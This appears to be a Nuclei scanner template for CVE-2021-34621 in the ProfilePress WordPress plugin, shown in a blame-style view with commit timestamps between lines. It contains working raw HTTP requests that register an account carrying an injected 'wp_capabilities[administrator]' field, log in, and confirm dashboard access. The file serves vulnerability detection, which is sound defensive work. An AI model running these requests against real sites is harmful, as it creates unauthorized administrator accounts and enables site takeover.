2021-07-10 17:01:08 +00:00
id : CVE-2021-34621
info :
2022-05-02 21:50:47 +00:00
name : WordPress ProfilePress 3.0.0-3.1.3 - Admin User Creation Weakness
2021-07-10 17:01:08 +00:00
author : 0xsapra
severity : critical
2022-05-02 21:50:47 +00:00
description : ProfilePress WordPress plugin is susceptible to a vulnerability in the user registration component in the ~/src/Classes/RegistrationAuth.php file that makes it possible for users to register on sites as an administrator.
2023-09-06 12:09:01 +00:00
remediation : |
Update to the latest version of ProfilePress to fix the admin user creation weakness.
2022-04-22 10:38:41 +00:00
reference :
- https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin
2022-05-02 21:50:47 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-34621
2022-05-17 09:18:12 +00:00
- https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin/
- http://packetstormsecurity.com/files/163973/WordPress-ProfilePress-3.1.3-Privilege-Escalation.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-34621
2023-11-07 10:37:30 +00:00
cwe-id : CWE-306,CWE-269
2023-10-14 11:27:55 +00:00
epss-score : 0.7888
2023-11-07 14:54:31 +00:00
epss-percentile : 0.97925
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : properfraction
product : profilepress
2023-09-06 12:09:01 +00:00
framework : wordpress
2023-07-11 19:49:27 +00:00
tags : wordpress,wp-plugin,packetstorm,cve,cve2021,intrusive
2021-07-10 17:01:08 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-10 17:01:08 +00:00
- raw :
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Accept : application/json, text/javascript, */*; q=0.01
Content-Type : multipart/form-data; boundary=---------------------------138742543134772812001999326589
Origin : {{BaseURL}}
Referer : {{BaseURL}}
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="reg_username"
{{randstr}}
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="reg_email"
2022-06-06 10:40:15 +00:00
{{randstr}}@interact.sh
2021-07-10 17:01:08 +00:00
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="reg_password"
2022-06-06 10:40:15 +00:00
{{randstr}}@interact.sh
2021-07-10 17:01:08 +00:00
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="reg_password_present"
true
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="reg_first_name"
2022-06-06 10:40:15 +00:00
{{randstr}}@interact.sh
2021-07-10 17:01:08 +00:00
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="reg_last_name"
2022-06-06 10:40:15 +00:00
{{randstr}}@interact.sh
2021-07-10 17:01:08 +00:00
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="_wp_http_referer"
/wp/?page_id=18
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="pp_current_url"
{{BaseURL}}
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="wp_capabilities[administrator]"
1
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="signup_form_id"
1
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="signup_referrer_page"
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="action"
pp_ajax_signup
-----------------------------138742543134772812001999326589
Content-Disposition : form-data; name="melange_id"
-----------------------------138742543134772812001999326589 --
- |
2021-08-08 17:27:07 +00:00
POST /wp-login.php HTTP/1.1
2021-07-10 17:01:08 +00:00
Host : {{Hostname}}
Accept : application/json, text/javascript, */*; q=0.01
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
Origin : {{BaseURL}}
Referer : {{BaseURL}}
2022-06-06 10:40:15 +00:00
log={{randstr}}@interact.sh&pwd={{randstr}}@interact.sh&wp-submit=Log+In
2021-07-10 17:01:08 +00:00
- |
GET /wp-admin/ HTTP/1.1
Host : {{Hostname}}
Accept : */*
Connection : close
cookie-reuse : true
2023-07-11 19:49:27 +00:00
2021-07-10 17:01:08 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-07-11 19:49:27 +00:00
- Welcome to your WordPress Dashboard
2021-08-08 17:27:07 +00:00
2021-07-10 17:01:08 +00:00
- type : status
status :
- 200
2023-11-07 17:58:22 +00:00
# digest: 490a004630440220381258afb76037c48e24268ca848afef6f774bc23677be5a728c4cb45076036b0220641e2711d6db6ecd7a9433606e37fd4bdcd4ff86edac4577f2aadd7c52c8d1e2:922c64590222798bb761d5b6d8e72950